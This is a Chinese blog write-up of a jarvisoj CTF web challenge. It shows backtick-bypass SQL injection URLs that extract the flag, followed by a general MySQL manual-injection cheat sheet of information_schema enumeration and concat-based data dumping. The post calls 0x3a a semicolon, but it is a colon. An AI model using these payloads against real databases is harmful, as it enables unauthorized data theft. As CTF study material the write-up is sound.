mysql手工注入绕过_从一个ctf简单总结下mysql手工注入

文章最后更新时间为：2019年04月03日 15:26:47

0x01 先拿flag

有个很不错的ctf平台jarvisoj，上面收录了一些经典的ctf题目。今天做了一个web题，借此记录一下sql手工注入的语句。hint:先找到源码再说吧~~<?php

require("config.php");

$table = $_GET['table']?$_GET['table']:"test";

$table = Filter($table);

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

$sql = "select 'flag{xxx}' from secret_{$table}";

$ret = sql_query($sql);

echo $ret[0];

?>

分析程序可知程序接收tables参数，我们需要通过mysqli_query($mysqli,"desc `secret_{$table}`")，并且利用$sql = "select 'flag{xxx}' from secret_{$table}";来执行注入。

我们知道desc是用来查表的结构的，其使用方法是desc+表名，后面还可以加个字段名，看下图就很清晰了。

对于表名，使用反引号和单引号的区别不是文章的重点，可以百度到，但是这里有个点：desc users xxx; // 返回空

desc `users` `xxx`； //返回空

desc 'users' 'xxx'; //报错

这里应该也是题目用引号的原因，我们构造类似于下面的结构就可以绕过mysqli_query($mysqli,"desc `secret_{$table}`")了table=test` `xxx

接下来利用上面的形式来利用"select 'flag{xxx}' from secret_{$table}";查数据库 http://web.jarvisoj.com:32794/index.php?table=test` `union select database() limit 1,1

查表 http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(distinct table_name) from information_schema.columns where table_schema=database() limit 1,1

查字段 http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(distinct column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1

查数据http://web.jarvisoj.com:32794/index.php?table=test`% `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1

到这里似乎一切顺利，但回顾一下刚才的注入流程，第一条查询数据库的语句可还原为：

select 'flag{xxx}' from secret_test` `union select database() limit 1,1

这里令人不解，中间的反引号为什么没有影响到语句的执行

为了解决疑问，自己在本地搭建了环境，并且试着将反引号改为单引号或者双引号：

搜索了一下mysql对反引号的处理，似乎没有结果，这里暂且留下一个疑问，也欢迎大家留言指正。

0x02 一般的MYSQL手工注入语句

没什么特别的姿势，这里仅记录一下一般的注入语句，每次都手打太累了。

一般手工注入的姿势为：判断时什么注入，有无过滤关键词 --> 获取数据库用户、版本、当前数据库 --> 获取数据库的某个表 --> 获取字段 --> 获取数据

几个常用函数：version()——MySQL版本

user()——用户名

database()——数据库名

@@datadir——数据库路径

@@version_compile_os——操作系统版本

这里一般要用到连接函数concat(str1,str2,...)直接连接字符串，没有分隔符

concat_ws(separator, str1, str2,...)连接字符串，中间用separator分割

group_concat()用来连接某个字段，用逗号分割mysql> select concat('hello','world');

+-------------------------+

| concat('hello','world') |

+-------------------------+

| helloworld |

+-------------------------+

1 row in set (0.00 sec)

mysql> select concat_ws(',','hello','world');

+--------------------------------+

| concat_ws(',','hello','world') |

+--------------------------------+

| hello,world |

+--------------------------------+

1 row in set (0.00 sec)

mysql> select group_concat(username) from users;

+-----------------------------------------------------------------+

| group_concat(username) |

+-----------------------------------------------------------------+

| Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin |

+-----------------------------------------------------------------+

利用连接函数可以一次查出基本信息：

concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@version_compile_os)

concat_ws(0x3a,version(),user(),database(),@@datadir,@@version_compile_os)

group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@version_compile_os)

具体的查询语句有很多，主要是依靠information_schema这个库，平时用一种方法也就够了，这里只利用了information_schema.columns这个表。查数据库：(distinct去除了重复数值)

select group_concat(distinct table_schema) from information_schema.columns;

查数据库表(库名用16进制，也可以直接用database()，直接加单双引号可能发送错误)

select group_concat(distinct table_name) from information_schema.columns where table_schema = 库名十六进制

查表的字段

select group_concat(distinct column_name) from information_schema.columns where table_name = 表名十六进制

查数据(0x3a是分号的ascii码)

select group_concat(列1,0x3a,列2,...) from 表名(不能是十六进制)

小思考

写到这里突然想起前几面找实习面试的时候，面试官问了一个问题，sql语句中什么字段可以编码？

sql语句能用16进制地方的最好用16进制，因为单引号双引号可能造成一些错误，但是什么地方可以16进制编码这个问题还真没思考过。我们可以做些实验。

首先列举出不能编码的字段：

然后列举可以编码的字段：

可以看出mysql会对用来比较的字段进行转换，也会对函数参数进行转化。当我们对不同类型的值进行比较的时候，为了使得这些数值可比较，MySQL会做一些隐式转化(Implicit type conversion)，具体可参考https://blog.devopszen.com/mysql_params 、 https://dev.mysql.com/doc/refman/5.7/en/type-conversion.html

0x03 reference